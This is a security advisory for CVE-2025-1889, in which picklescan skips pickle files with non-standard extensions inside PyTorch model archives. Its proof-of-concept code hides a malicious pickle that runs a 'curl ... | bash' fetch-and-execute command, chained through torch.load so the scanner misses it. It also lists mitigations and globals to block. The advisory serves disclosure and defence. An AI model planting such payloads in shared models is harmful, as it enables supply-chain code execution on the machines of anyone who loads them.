CVE-2025-1889

Summary

picklescan before 0.0.22 only considers standard pickle file extensions in the scope for its vulnerability scan. An attacker could craft a malicious model that uses Pickle and include a malicious pickle file with a non-standard file extension. Because the malicious pickle file inclusion is not considered as part of the scope of picklescan, the file would pass security checks and appear to be safe, when it could instead prove to be problematic.

Severity rating & weakness enumeration

Rating: Medium - 5.3

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N  

CWE-646: Reliance on File Name or Extension of Externally-Supplied File

Description

Picklescan primarily identifies pickle files by their extensions (e.g., .pkl, .pt). However, PyTorch allows specifying an alternative pickle file inside a model archive using the pickle_file parameter when calling torch.load(). This makes it possible to embed a malicious pickle file (e.g., config.p) inside the model while keeping the primary data.pkl file benign.

A typical attack works as follows:

• A PyTorch model (model.pt) is created and saved normally.

• A second pickle file (config.p) containing a malicious payload is crafted.

• The data.pkl file in the model is modified to contain an object that calls torch.load(model.pt, pickle_file='config.p'), causing config.p to be loaded when the model is opened.

• Since picklescan ignores non-standard extensions, it does not scan config.p, allowing the malicious payload to evade detection.

• The issue is exacerbated by the fact that PyTorch models are widely shared in ML repositories and organizations, making it a potential supply-chain attack vector.

Proof-of-Concept (PoC)

The following example demonstrates how a crafted model could bypass Picklescan's security scan by using non-standard file extensions:

import os

import pickle

import torch

import zipfile

from functools import partial

class RemoteCodeExecution:

    def __reduce__(self):

        return os.system, ("curl -s http://localhost:8080 | bash",)

# Create a directory inside the model

os.makedirs("model", exist_ok=True)

# Create a hidden malicious pickle file

with open("model/config.p", "wb") as f:

    pickle.dump(RemoteCodeExecution(), f)

# Create a benign model

model = {}

class AutoLoad:

    def __init__(self, path, **kwargs):

        self.path = path

        self.kwargs = kwargs

    def __reduce__(self):

        # Use functools.partial to create a partially applied function

        # with torch.load and the pickle_file argument

        return partial(torch.load, self.path, **self.kwargs), ()

model['config'] = AutoLoad(model_name, pickle_file='config.p', weights_only=False)

torch.save(model, "model.pt")

# Inject the second pickle into the model archive

with zipfile.ZipFile("model.pt", "a") as archive:

    archive.write("model/config.p", "model/config.p")

# Loading the model triggers execution of config.p

torch.load("model.pt")

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.

What is the impact? Attackers can embed malicious code in PyTorch models that remains undetected but executes when the model is loaded.

Potential Exploits: This vulnerability could be exploited in supply chain attacks, backdooring pre-trained models distributed via repositories like Hugging Face or PyTorch Hub.

Mitigations

1. Scan All Files in the ZIP Archive: picklescan should analyze all files in the archive instead of relying on file extensions.

2. Detect Hidden Pickle References: Static analysis should detect torch.load(pickle_file=...) calls inside data.pkl.

3. Magic Byte Detection: Instead of relying on extensions, picklescan should inspect file contents for pickle magic bytes (\x80\x05).

4. Block the following globals:
   - torch.load
   - functools.partial

Note: picklescan version 0.0.22 contains a fix for this issue. As a caution, the project published a GitHub advisory in advance.

Credits

Trevor Madge (@madgetr) of Sonatype